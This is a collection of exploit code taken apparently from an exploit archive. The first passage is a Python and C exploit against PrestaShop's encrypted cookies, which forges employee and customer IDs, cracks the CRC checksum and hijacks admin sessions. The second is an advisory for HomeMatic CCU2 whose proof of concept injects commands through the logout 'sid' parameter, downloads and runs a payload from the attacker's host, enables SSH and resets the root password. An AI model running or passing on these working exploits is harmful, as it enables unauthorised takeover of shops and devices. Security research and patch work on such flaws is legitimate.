r = self.s.get(ADMIN_URL + '/pdf.php', allow_redirects=False)
if r.status_code != 200:
break
self.s.cookies.clear()
self.nb_employees = i - 1
print('There are at least %d employees' % self.nb_employees)
def recover_cart(self, id_cart, token, cookie):
"""Performs the recover cart action with a cookie containing id_employee
so that the returned cookie contains a password hash and an employee ID.
This cookie can then be sent to the admin interface to verify it works.
"""
s = self.s
s.cookies.clear()
s.cookies[cookie.name] = str(cookie)
r = s.post(
BASE_URL + '/index.php',
data={
'token_cart': token,
'recover_cart': '%d' % id_cart
},
allow_redirects=False
)
s.cookies.clear()
s.cookies[self.employee_cookie_name] = r.cookies[cookie.name]
r = s.get(
ADMIN_URL + '/index.php?controller=AdminDashboard',
allow_redirects=False
)
if 'AdminLogin' not in r.headers.get('Location', ''):
return r.cookies[self.employee_cookie_name]
return None
def get_write_blocks(self):
"""Gets encrypted blocks for ¤id_employee and ¤id_customer.
"""
blocks = {}
# ...¤id_
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL +
bl(self.ps.email) +
bl('¤id_')
)
blocks['¤id_'] = cookie.blocks[block-1]
# customer and employee
cookie = self.ps.set_identity(
lastname=BASE_BYTE * self.ps.i + 'customeremployee'
)
blocks['customer'] = cookie.blocks[self.ps.p]
blocks['employee'] = cookie.blocks[self.ps.p + 1]
self.blocks = blocks
def get_pipe_number(self, n):
"""Get the encrypted block for |000000N.
"""
self.ps.set_identity(
email=('%07d' + EMAIL_DOMAIN) % n
)
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL - 1
)
return cookie.blocks[block]
def write_id_person(self, person, id):
"""Writes the given employee/customer ID in the cookie.
"""
plaintext = self.ps.email[-3:] + '¤id_%s|%07d' % (person, id)
blocks = [
self.blocks['¤id_'],
self.blocks[person],
self.get_pipe_number(id)
]
return self.ps.writable_cookie.write(plaintext, blocks)
def write_id_customer(self, id):
"""Writes id_customer for the given ID.
"""
return self.write_id_person('customer', id)
def write_id_employee(self, id):
"""Writes id_employee for the given ID.
"""
return self.write_id_person('employee', id)
def associate_id_customer(self, id):
"""Writes id_customer in our cookie in order to associate it to our cart
ID.
"""
s = self.s
# Write id_customer|X
cookie = self.write_id_customer(id)
s.cookies.clear()
s.cookies[cookie.name] = str(cookie)
# Associate the customer with the cart
r = s.get(
BASE_URL + '/index.php?controller=identity',
allow_redirects=False
)
matches = re.findall(
'id="(firstname|lastname|email)"[^>]+value="(.*?)"',
r.text
)
if not matches:
return False
matches = {k: v for k, v in matches}
print(
'Got customer account: {lastname} {firstname} [{email}]'.format(
**matches
)
)
return True
def read_id_cart(self):
"""Get id_cart's value by padding the cookie and reading the block.
"""
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_EMAIL +
bl(self.ps.email) +
bl('¤id_cart|')
)
# Since the cart ID usually fits in one block, we need to bruteforce its
# size by changing the size of the cookie (last block contains size of
# cookie)
id_cart = None
for i in range(1, 10):
rcookie = self.ps.readable_cookie.extend(
[cookie.blocks[block]],
offset=i
)
try:
id_cart = rcookie.read()
except ValueError:
break
if not id_cart:
raise ValueError('Unable to read id_cart')
# ¤ is two bytes long, so the last character of the obtained id_cart
# will be \xc2, which we need to remove
id_cart = int(id_cart[:-1])
print('Cart ID: %d' % id_cart)
# The last try broke our cookie, and we're therefore logged out
self.ps.login()
return id_cart
def read_cart_token(self, id_cart):
"""Set password to recover_cart_X and read it.
"""
self.ps.set_identity(
passwd='recover_cart_%d' % id_cart
)
cookie, block = self.pad_lastname(
SIZE_LASTNAME_TO_FIRSTNAME + SIZE_FIRSTNAME_TO_PASSWD
)
rcookie = self.ps.readable_cookie.extend(cookie.blocks[block:block+4])
token = rcookie.read().decode()
print('Recover Cart token: %s' % token)
return token
def pad_lastname(self, offset):
"""Get a cookie where the value we want to read, which is offset bytes
away from the last character of the lastname, is aligned with SIZE_BLOCK
and therefore at the beginning of a block.
"""
padding, block = pb(bl(FIRSTNAME) + offset)
cookie = self.ps.set_identity(
lastname=BASE_BYTE * (self.ps.i + padding)
)
block += self.ps.p
return cookie, block
class CRCPredictor:
"""Implements the resolution of the CRC system of equation.
It works by iterating on a set of possible values.
For instance, let's say we obtained 3 as the last digit for cookie A.
The only possible CRCs at this point are the ones whose last digit is 3.
So, we store them.
The CRCs for the next cookie, B, must necessarily validate the equation:
CRC(B) = CRC(A) ^ CRC(A ^ B) ^ C (C is constant).
Therefore, we can update our stored checksums by xoring them with
CRC(A ^ B) ^ C. The stored checksums are now the candidates for B.
Now, let's say we obtain 5 as the last digit for B. We can throw away any
candidate which does not end with 5. By repeating this, we will reach a
valid checksum fairly quickly.
"""
ORDER = 10
def __init__(self, zeros, payload_size):
self.payloads = []
self.digits = None
self.candidates = None
self.zeros = b"\x00" * zeros
self.zero_crc = crc32(b"\x00" * (payload_size + zeros))
def purge_candidates(self, digits):
"""Removes candidates that do not end with given digits, and candidates
with less than 10 digits.
"""
ORDER = self.ORDER
candidates = self.candidates
if candidates is not None:
candidates = [
c for c in candidates if c % ORDER == digits
]
# The very first set of candidates (before the first char) is the
# entirety of [0, 2**32-1], which is way too big, so we only compute
# candidates after the two first digits have been set.
elif self.digits is None:
self.digits = digits
else:
print("Generating first solution range (takes some time) ...")
d = self.delta(self.payloads[-2], self.payloads[-1])
candidates = [
i ^ d for i in range(10 ** 9 + self.digits, 0x100000000, ORDER)
if (i ^ d) % ORDER == digits
]
self.candidates = candidates
def has_solution(self):
"""Returns true if the system has been solved.
"""
return self.candidates is not None and len(self.candidates) <= 1
def solution(self):
"""Returns the solution.
"""
return self.candidates[0]
def delta(self, p0, p1):
"""Computes CRC(A ^ B) ^ C.
"""
d = xor(p0, p1)
return crc32(d + self.zeros) ^ self.zero_crc
def update_candidates(self, payload):
"""Updates every candidate CRC for next payload by xoring them with
CRC(A ^ B) ^ C.
"""
ORDER = self.ORDER
self.payloads.append(payload)
if self.candidates is None:
return set(range(ORDER))
delta = self.delta(self.payloads[-2], self.payloads[-1])
self.candidates = [
crc ^ delta
for crc in self.candidates
]
# Only keep 10-digit values as other values are not used
self.candidates = [
c for c in self.candidates if c >= 1000000000
]
if not self.candidates:
raise ValueError('Checksum equations have no solution !')
# Return possible last digits for the new char
return set(c % ORDER for c in self.candidates)
class PrestaShop:
"""Contains several helpers for the interaction with the PrestaShop website
and cookie manipulation. Responsible for the read and write exploit
primitives.
"""
def __init__(self, session, email, password):
self.s = session
self.email = email
self.original_email = self.email
self.password = password
self.original_password = self.password
def post(self, url, **kwargs):
headers = kwargs.get('headers', {})
headers['Referer'] = url
return self.s.post(BASE_URL + url, **kwargs)
def cookie(self):
"""Extracts the cookie from the requests session.
"""
for c, v in self.s.cookies.items():
if c.startswith('PrestaShop-'):
return Cookie(c, v)
raise ValueError('Unable to find customer cookie')
def login(self):
"""Logs into PrestaShop using email/password.
"""
self.s.cookies.clear()
r = self.post(
'/index.php?controller=authentication',
data={
'email': self.email,
'passwd': self.password,
'back': 'identity',
'SubmitLogin': ''
},
allow_redirects=False
)
if not r.headers.get('Location', '').endswith('controller=identity'):
raise ValueError('Invalid credentials')
return self.cookie()
def set_identity(self, **data):
"""Changes the identity of the current user. This generally involves
changing firstname, lastname, and email.
"""
assert all(v != '' for v in data.values()), (
"Data contains an empty value"
)
if 'email' in data:
self.email = data['email']
if 'passwd' in data:
data['confirmation'] = data['passwd']
defaults = {
'id_gender': '1',
'firstname': FIRSTNAME,
'lastname': 'User',
'email': self.email,
'days': '1',
'months': '1',
'years': '1990',
'old_passwd': self.password,
'passwd': '',
'confirmation': '',
'submitIdentity': ''
}
defaults.update(data)
r = self.post(
'/index.php?controller=identity',
data=defaults
)
if 'passwd' in data:
self.password = data['passwd']
# If we changed the email or the password, we need to login again
if 'email' in data:
return self.login()
return self.cookie()
def find_alignment(self):
"""Obtains the position of the first repeated block of customer_lastname
along with its offset from the start of the string. Also, computes
SIZE_EMAIL_TO_END.
Example:
...customer_lastname|BBAAAAAAAAAAAAAAAA...
...----++++++++--------++++++++--------...
^^ Offset = 2
^ Position of the first repeated block
"""
cookie = self.set_identity(
lastname='A' * SIZE_BLOCK * 4
)
#print(setup_cookie)
last = None
for p, block in enumerate(cookie.blocks):
if block == last:
break
last = block
else:
raise ValueError('Unable to find identical blocks')
p = p - 1
print('First identical block:', p, block)
# Pad with Bs until the first block is modified to obtain alignment
for i in range(1, SIZE_BLOCK):
cookie = self.set_identity(
lastname=('B' * i) + ('A' * (SIZE_BLOCK * 4 - i))
)
if cookie.blocks[p] != block:
break
else:
raise ValueError('Unable to pad blocks')
i = i - 1
print('Offset from "customer_lastname|":', i)
self.p = p
self.i = i
# We also need to setup this length dynamically
global SIZE_EMAIL_TO_END
# Fix the id_connection problem
self.login()
# Grab 10 slightly different cookies, and get the longest one
max_size = max(
self.set_identity(lastname=c * 8).size()
for c in 'ABCDEFGHIJ'
)
SIZE_EMAIL_TO_END = (
max_size - (
self.p * SIZE_BLOCK - self.i +
8 +
SIZE_LASTNAME_TO_FIRSTNAME +
bl(FIRSTNAME) +
SIZE_FIRSTNAME_TO_EMAIL +
bl(self.original_email) +
bl('checksum|') +
10
)
)
print('Size from "email|" to end: %d' % SIZE_EMAIL_TO_END)
def get_encrypted_blocks(self, blocks):
"""Uses the email address to get a bunch of encrypted blocks.
"""
# Align the first character of the email with a block so that we obtain
# 15 blocks per try
# SIZE_CUSTOMER_LASTNAME_KEY_TO_EMAIL =
distance = - self.i + bl(
'¤customer_firstname|' + FIRSTNAME
) + SIZE_FIRSTNAME_TO_EMAIL
alignment, first_block = pb(distance)
first_block += self.p
cookie = self.set_identity(
lastname='A' * alignment,
email=''.join(blocks) + EMAIL_DOMAIN
)
return cookie.blocks[first_block:first_block+len(blocks)]
def get_encrypted_numbers(self, size=1):
"""Builds blocks starting with numbers and cipher them.
"""
encrypted_numbers = []
# 15 blocks can be ciphered at once:
# |email| = 128, |domain| = 8
# |email| - |domain| = 120
# 120 / SIZE_BLOCK = 15
step = 15
for i in range(0, 10 ** size, step):
# Convert the each of number into a block:
# 3 -> 03xxxxxx
numbers = [
str(i+n).rjust(size, '0').ljust(SIZE_BLOCK, 'x')
for n in range(step)
]
encrypted_numbers += self.get_encrypted_blocks(numbers)
self.reset()
self.encrypted_numbers = encrypted_numbers[:10 ** size]
def discover_crc(self):
"""By correctly padding the cookie, we can force the last digit of the
CRC to be in the last block, on its own. From this, and by using the
email field to translate, we can guess what this digit is by replacing
the last block by 0xxxxxx, 1xxxxxx, 2xxxxxx, etc. until the
cookie is accepted.
Then, we can slightly change the cookie's content, and obtain the last
digits for the new checksum. Due to the fact that CRC is affine, we can
build an equation on the last two digits of these checksums.
By repeating the operation, we get a set of equations, and solving it
reveals the value of the checksum.
Returns a magic cookie and its checksum.
"""
print('Discovering CRC checksum...')
lo_digits = 1
nb_requests = 0
encrypted_numbers = self.encrypted_numbers
# We only work with 10-digit checksums, and the probability of not
# getting any 10-digit checksum over 10 requests is equal to 4.68e-07,
# so we'll iterate 10 times and keep the longest cookie
max_size = 0
cookie_base = None
for i in range(10):
cookie_base = self.set_identity(
lastname=CHARSET_LASTNAME[i] * SIZE_BLOCK
)
if max_size < cookie_base.size():
max_size = cookie_base.size()
# Checksum alignment: build a cookie such that the last block contains
# lo_digits digits
alignment_checksum = ((lo_digits - max_size) % SIZE_BLOCK) + SIZE_BLOCK
s = http_session()
payload_size = 2
zeros = (
SIZE_LASTNAME_TO_FIRSTNAME +
bl(FIRSTNAME) +
SIZE_FIRSTNAME_TO_EMAIL +
bl(self.original_email) +
SIZE_EMAIL_TO_END
)
lastname = None
predictor = CRCPredictor(zeros, payload_size)
cache = {}
# On each iteration, we replace some chars and keep the same length,
# so that the affine property of CRC stays valid.
# We then update our candidates using CRCPredictor, until one value's
# left.
for payload in itertools.product(CHARSET_LASTNAME, repeat=payload_size):
payload = ''.join(payload)
lastname = 'A' * (alignment_checksum - payload_size) + payload
cookie = self.set_identity(
lastname=lastname
)
nb_requests += 1
# Only use 10-digit cookies
if cookie.size() % SIZE_BLOCK != lo_digits:
continue
candidates = predictor.update_candidates(payload)
# No point verifying if we have only one possibility, skip
if len(candidates) == 1:
predictor.purge_candidates(list(candidates)[0])
if predictor.has_solution():
break
continue
# If the single-digit block has already been seen, we can map it
# immediately
original_block = cookie.blocks[-2]
if original_block in cache:
n = cache[original_block]
print('%s %d %s !' % (payload, n, original_block))
predictor.purge_candidates(n)
continue
#print(cookie)
#print(candidates)
# Bruteforce the last digit of the checksum by replacing the last
# block by an encrypted number until it works
for n in candidates:
cookie.blocks[-2] = encrypted_numbers[n]
print('%s %d %s' % (payload, n, cookie.blocks[-2]), end='\r')
response = s.head(
BASE_URL + '/index.php?controller=identity',
headers={'Cookie': '%s=%s' % (cookie.name, cookie)}
)
nb_requests += 1
location = response.headers.get('Location', '')
if 'controller=authentication' not in location:
print('')
break
else:
# This should not happen
raise ValueError(
'Unable to guess digits for payload %r' % payload
)
cache[original_block] = n
predictor.purge_candidates(n)
cookie.blocks[-2] = original_block
if predictor.has_solution():
break
else:
# This should not happen
raise ValueError('Unable to compute checksum value')
checksum = predictor.solution()
print('Checksum discovered: %s (%d requests)' % (checksum, nb_requests))
return cookie, checksum
def build_cookies(self):
self.build_writable_cookie()
self.build_readable_cookie()
def build_writable_cookie(self):
"""Builds the first extendable cookie. It involves finding out the
checksum value, and building the standard ending blocks.
"""
cookie, checksum = self.discover_crc()
# ¤ custom
block_o = self.set_identity(
lastname='A' * (self.i + SIZE_BLOCK)
).blocks[self.p + 1]
# AAAAA¤ c
block_c = self.set_identity(
lastname='A' * (self.i + 5)
).blocks[self.p]
# hecksum|
offset = (
SIZE_LASTNAME_TO_FIRSTNAME +
bl(FIRSTNAME) +
SIZE_FIRSTNAME_TO_EMAIL +
bl(self.email) +
SIZE_EMAIL_TO_END +
bl('checksum|')
)
offset, _ = pb(offset)
block_s = self.set_identity(
lastname='A' * (self.i + offset)
).blocks[-4]
WritableCookie.blocks_checksum = [
block_o,
block_c,
block_s
]
self.writable_cookie = WritableCookie(
cookie.name, cookie.blocks, checksum
)
print('Generated extendable cookie.')
def build_readable_cookie(self):
"""To read arbitrary blocks we need to integrate the checksum and add
customer_firstname|... at the end.
"""
p = self.p
i = self.i
# AAA¤ customer_firstname|````````
# ++++++++--------++++++++--------
c0 = self.set_identity(
lastname='A' * (i + 3)
)
cookie = self.writable_cookie
self.readable_cookie = cookie.eat_checksum(3, c0.blocks[p:p+4])
print('Generated read cookie.')
def reset(self):
return self.set_identity(
email=self.original_email,
passwd=self.original_password
)
class Cookie:
"""Standard Prestashop cookie class. Splits the cookie into blocks.
"""
def __init__(self, name, value):
self.name = name
if isinstance(value, str):
self.check_consistent(value)
self.blocks = urllib.parse.unquote(value).split('=')
else:
self.blocks = value
def check_consistent(self, value):
"""Checks if the given string is a valid ECB cookie.
"""
value = urllib.parse.unquote(value)
if not re.match('([0-9A-Za-z/+]{11}=)*[0-9]{6}', value):
raise ValueError('Invalid cookie')
def clone(self):
return self.__class__(self.name, str(self))
def size(self):
"""Last block is the size of the whole payload.
"""
return int(self.blocks[-1])
def __str__(self):
return '='.join(self.blocks).replace('+', '%2B')
class WritableCookie(Cookie):
"""Cookie with known checksum. It can be extended by adding encrypted blocks
with a known plaintext, and recomputing the checksum.
"""
blocks_checksum = None
def __init__(self, name, blocks, checksum):
super().__init__(name, blocks)
self.checksum = checksum
def write(self, plaintext, blocks):
"""Adds blocks to current cookie, recomputes the checksum, and returns
the new cookie.
"""
assert bl(plaintext) == len(blocks) * SIZE_BLOCK, (
"Plaintext's size does not match blocks'"
)
# Compute the new checksum and get its encrypted blocks
plaintext = (
'ch' +
plaintext +
'¤custom' +
'AAAAA¤'
)
checksum = crc32(plaintext.encode(), self.checksum)
encrypted_checksum = self.ps.get_encrypted_blocks([
'%08d' % (checksum // 100),
'%02dxxxxxx' % (checksum % 100)
])
self.ps.reset()
# PLAINTEXT ORIGIN
# ¤ custom customer_firstname }
# AAAAA¤ c customer_firstname } blocks_checksum
# hecksum| discover }
# 12345678 email
# 90xxxxxx email
blocks = (
self.blocks[:-4] +
blocks +
self.blocks_checksum +
encrypted_checksum
)
blocks += cs(blocks, 2)
return WritableCookie(self.name, blocks, checksum)
def eat_checksum(self, rotations, read_blocks):
"""Adds a correction block to the cookie so that the checksum stays the
same, and the last key/value pair is freed. End represents the plaintext
that is meant to be added after the correction block.
Initial cookie end:
¤checksum|1234567890
New cookie end:
¤checksum|1234567890 ABCDEFGH
Where ABCDEFGH is the correction block.
New cookie end with added KVP:
¤checksum|1234567890 ABCDEFGH¤customer_lastname|ABC...
This allows to add another key/value pair, which won't be included in
the checksum computation, at the end of the cookie. This pair can be
anything and therefore include blocks with unknown plaintext.
"""
# Add a correction block such that the CRC of the cookie does not change
# Note: the last block is supposed to be padded with spaces, but the
# code is broken. It will add 1 space instead of 7 in our case, the
# rest will be null bytes.
added = 'checksum|%010d \x00\x00\x00\x00\x00\x00' % self.checksum
current_checksum = crc32(added.encode(), self.checksum)
# Goal: crc32(correction_block, current_checksum) == self.checksum
os.system('./crc_xor %u %u %u' % (
current_checksum,
self.checksum,
rotations
))
with open('./crc_xor_result', 'r') as h:
correction_block = h.read()
print('Got correction block: %s' % correction_block)
c = self.ps.set_identity(
lastname='A' * self.ps.i + correction_block
)
blocks = self.blocks[:-1] + [c.blocks[self.ps.p]] + read_blocks
blocks += cs(blocks)
return ReadableCookie(self.name, blocks)
class ReadableCookie(Cookie):
"""Cookie which ate its checksum. The last value can contain anything.
It can be used to decipher arbitrary data:
>>> rc.extend(['SUsidYDY']).read()
'hello123'
"""
def __init__(self, name, value):
super().__init__(name, value)
self.response = None
def extend(self, blocks, offset=0):
blocks = self.blocks[:-1] + blocks
blocks += cs(blocks, offset)
return self.__class__(self.name, blocks)
def request(self):
if not self.response:
s = http_session()
response = s.get(
BASE_URL + '/index.php?mobile_theme_ok=1',
headers={
'Cookie': '%s=%s' % (self.name, self)
}
)
self.response = response
return self.response
def read(self):
response = self.request()
match = re.search(b'>````````(.*?) A+..<', response.content, flags=re.S)
if not match:
raise ValueError('Unable to find firstname/lastname in page')
return match.group(1)
s = http_session()
exploit = Exploitation(
s,
CUSTOMER_EMAIL,
CUSTOMER_PASSWORD
)
try:
exploit.run()
except Exception as e:
raise e
finally:
exploit.ps.reset()
</--- exploit.py --->
<--- crc_xor.c --->
/*
gcc -O3 -o crc_xor crc_xor.c
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#define MIN_VALUE 65
#define MAX_VALUE 122
#define SIZE_CORRECTION_BLOCK 8
#define OUTPUT_FILE_FORMAT "./%s_result"
/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
char filename[32];
static const uint crc32tab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};
void display(char* str, char end)
{
printf("%s%c", str, end);
fflush(stdout);
}
/**
* Write the content of correction to a file and exit.
*/
void write_exit(char* correction, size_t s)
{
display(correction, '\n');
FILE* f = fopen(filename, "w");
fwrite(correction, s, 1, f);
fclose(f);
}
int main(int argc, char* argv[])
{
uint const crcinit = strtoul(argv[1], NULL, 10) ^ 0xFFFFFFFF;
uint const goal = strtoul(argv[2], NULL, 10) ^ 0xFFFFFFFF;
uint const r = strtoul(argv[3], NULL, 10);
uint crc;
unsigned char correction[SIZE_CORRECTION_BLOCK+1];
uint crcs[SIZE_CORRECTION_BLOCK];
// Setup filename
snprintf(filename, 32, OUTPUT_FILE_FORMAT, argv[0]);
// Set every byte to the minimum value
memset(correction, MIN_VALUE, SIZE_CORRECTION_BLOCK);
correction[SIZE_CORRECTION_BLOCK] = '\0';
register uint i;
printf("crcinit=%u goal=%u rotations=%u\n", crcinit, goal, r);
// Build original CRCs
crcs[0] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF];
for(i=1;i<SIZE_CORRECTION_BLOCK;i++)
{
crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF];
}
display(correction, '\r');
while(1)
{
// Compare
crc = crcs[SIZE_CORRECTION_BLOCK-1];
// A, r times
for(i=r;i--;)
{
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ 'A') & 0xFF];
}
// ¤ == 0xc2a4
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xc2') & 0xFF];
crc = ((crc >> 8) & 0x00FFFFFF) ^ crc32tab[(crc ^ '\xa4') & 0xFF];
if(crc == goal)
{
write_exit(correction, SIZE_CORRECTION_BLOCK);
return 0;
}
// Update correction block
i = SIZE_CORRECTION_BLOCK;
while(i--)
{
correction[i]++;
if(correction[i] == 91)
correction[i] = 97;
if(correction[i] != MAX_VALUE)
break;
correction[i] = MIN_VALUE;
}
if(i <= SIZE_CORRECTION_BLOCK - 4)
display(correction, '\r');
// If we reached the first byte, crc[-1] does not exist
if(!i)
crcs[i++] = ((crcinit >> 8) & 0x00FFFFFF) ^ crc32tab[(crcinit ^ correction[i]) & 0xFF];
// Only the last i chars were changed, no need to update the others CRCs
for(;i<SIZE_CORRECTION_BLOCK;i++)
{
crcs[i] = ((crcs[i-1] >> 8) & 0x00FFFFFF) ^ crc32tab[(crcs[i-1] ^ correction[i]) & 0xFF];
}
}
return 1;
}
</--- crc_xor.c --->
# Exploit Title: HomeMatic Zentrale CCU2 Unauthenticated RCE
# Date: 16-07-2018
# Software Link: https://www.homematic.com/
# Exploit Author: Kacper Szurek - ESET
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# YouTube: https://www.youtube.com/c/KacperSzurek
# Category: remote
1. Description
File: /root/www/api/backup/logout.cgi
```
proc main { } {
set sid [getQueryArg sid]
if [catch { session_logout $sid}] { error LOGOUT }
puts "Content-Type: text/plain"
puts ""
puts "OK"
}
```
`$sid` value is passed directly to `session_logout` function.
File: /root/www/tcl/eq3/session.tcl
```
proc session_logout { sid } {
rega_exec "system.ClearSessionID(\"$sid\");"
}
```
`$sid` value is not escaped properly.
We can close current rega script using `");` and execute our payload.
2. Proof of Concept
POC in Python which enable ssh access and change root password without any credentials.
```
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import time
import urllib2
import threading
import sys
import os
import signal
print "HomeMatic Zentrale CCU2 Unauthenticated RCE"
print "Unauthenticated Remote Code Execution"
print "by Kacper Szurek - ESET"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
print "https://www.youtube.com/c/KacperSzurek\n"
def signal_handler(a, b):
print "[+] Exit"
os._exit(0)
signal.signal(signal.SIGINT, signal_handler)
if len(sys.argv) != 4:
print "Usage: exploit <your_ip> <homematic_ip> <new_password>"
os._exit(0)
our_ip = sys.argv[1]
homematic_ip = sys.argv[2]
new_password = sys.argv[3]
tcl_file = """
#!/bin/tclsh
source /www/api/eq3/jsonrpc.tcl
source /www/api/eq3/json.tcl
set args(passwd) "{}"
set args(mode) "true"
source /www/api/methods/ccu/setssh.tcl
source /www/api/methods/ccu/setsshpassword.tcl
source /www/api/methods/ccu/restartsshdaemon.tcl
""".format(new_password)
class StoreHandler(BaseHTTPRequestHandler):
def do_GET(self):
print self.path
if self.path == '/exploit':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(tcl_file)
def server():
try:
server = HTTPServer((our_ip, 1234), StoreHandler)
server.serve_forever()
except Exception, e:
print "[-] Cannot start web server: {}".format(e)
os._exit(0)
def send_payload(payload):
return urllib2.urlopen('http://{}/api/backup/logout.cgi?sid=aa");system.Exec("{}");system.ClearSessionID("bb'.format(homematic_ip, payload)).read()
try:
version = urllib2.urlopen('http://{}/api/backup/version.cgi'.format(homematic_ip), timeout=6).read()
except:
version = ""
if not version.startswith('VERSION='):
print "[-] Probably not HomeMatic IP: {}".format(homematic_ip)
os._exit(0)
if "'" in new_password or '"' in new_password:
print "[-] Forbidden characters in password"
os._exit(0)
print "[+] Start web server"
t = threading.Thread(target=server)
t.daemon = True
t.start()
time.sleep(2)
print "[+] Download exploit"
send_payload('wget+-O+/tmp/exploit+http://{}:1234/exploit&&chmod+%2bx+/tmp/exploit'.format(our_ip))
print "[+] Set chmod +x"
send_payload('chmod+%2bx+/tmp/exploit')
print "[+] Execute exploit"
send_payload('/bin/tclsh+/tmp/exploit')
print "[+] Success, now you can ssh as root:"
print "ssh root@{}".format(homematic_ip)
print "Password: {}".format(new_password)
os._exit(0)
```
3. Solution:
Update to version 2.35.16